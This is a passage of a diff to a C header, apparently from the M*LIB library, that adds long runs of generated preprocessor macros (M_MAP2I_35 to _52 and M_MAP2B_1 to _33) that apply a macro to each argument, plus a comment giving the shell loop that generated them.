+#define M_MAP2I_35(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) 
+#define M_MAP2I_36(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) 
+#define M_MAP2I_37(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) 
+#define M_MAP2I_38(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) 
+#define M_MAP2I_39(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) 
+#define M_MAP2I_40(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) 
+#define M_MAP2I_41(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) 
+#define M_MAP2I_42(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) 
+#define M_MAP2I_43(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) 
+#define M_MAP2I_44(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) 
+#define M_MAP2I_45(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) 
+#define M_MAP2I_46(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) 
+#define M_MAP2I_47(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) 
+#define M_MAP2I_48(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) 
+#define M_MAP2I_49(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) 
+#define M_MAP2I_50(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) 
+#define M_MAP2I_51(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) 
+#define M_MAP2I_52(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) 
+
+/* Duplicate of M_MAP2 for GET_METHOD as it may be called in context where a M_MAP2 is in progress (for oplist).
+   NOTE: Increase number of arguments to 76 due to the number of available methods.
+   NOTE: Don't perform another step of evaluation (not needed in the usage context)
+   NOTE: Rewrite with another approach much more verbose but also much faster for the compiler.
+   This kind of approach seems ugly, but is in fact the fast one.
+   Generated by the following command:
+   for i in $(seq 1 52) ; do printf "#define M_MAP2B_%d(f, d" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "f(d, _%d) " $j ; done ; printf "\n"; done
+*/
+#define M_MAP2B(f, d, ...)  M_C(M_MAP2B_, M_NARGS(__VA_ARGS__))(f, d, __VA_ARGS__)
+#define M_MAP2B_1(f, d, _1) f(d, _1) 
+#define M_MAP2B_2(f, d, _1, _2) f(d, _1) f(d, _2) 
+#define M_MAP2B_3(f, d, _1, _2, _3) f(d, _1) f(d, _2) f(d, _3) 
+#define M_MAP2B_4(f, d, _1, _2, _3, _4) f(d, _1) f(d, _2) f(d, _3) f(d, _4) 
+#define M_MAP2B_5(f, d, _1, _2, _3, _4, _5) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) 
+#define M_MAP2B_6(f, d, _1, _2, _3, _4, _5, _6) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) 
+#define M_MAP2B_7(f, d, _1, _2, _3, _4, _5, _6, _7) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) 
+#define M_MAP2B_8(f, d, _1, _2, _3, _4, _5, _6, _7, _8) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) 
+#define M_MAP2B_9(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) 
+#define M_MAP2B_10(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) 
+#define M_MAP2B_11(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) 
+#define M_MAP2B_12(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) 
+#define M_MAP2B_13(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) 
+#define M_MAP2B_14(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) 
+#define M_MAP2B_15(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) 
+#define M_MAP2B_16(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) 
+#define M_MAP2B_17(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) 
+#define M_MAP2B_18(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) 
+#define M_MAP2B_19(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) 
+#define M_MAP2B_20(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) 
+#define M_MAP2B_21(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) 
+#define M_MAP2B_22(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) 
+#define M_MAP2B_23(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) 
+#define M_MAP2B_24(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) 
+#define M_MAP2B_25(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) 
+#define M_MAP2B_26(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) 
+#define M_MAP2B_27(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) 
+#define M_MAP2B_28(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) 
+#define M_MAP2B_29(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) 
+#define M_MAP2B_30(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) 
+#define M_MAP2B_31(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) 
+#define M_MAP2B_32(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) 
+#define M_MAP2B_33(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) 
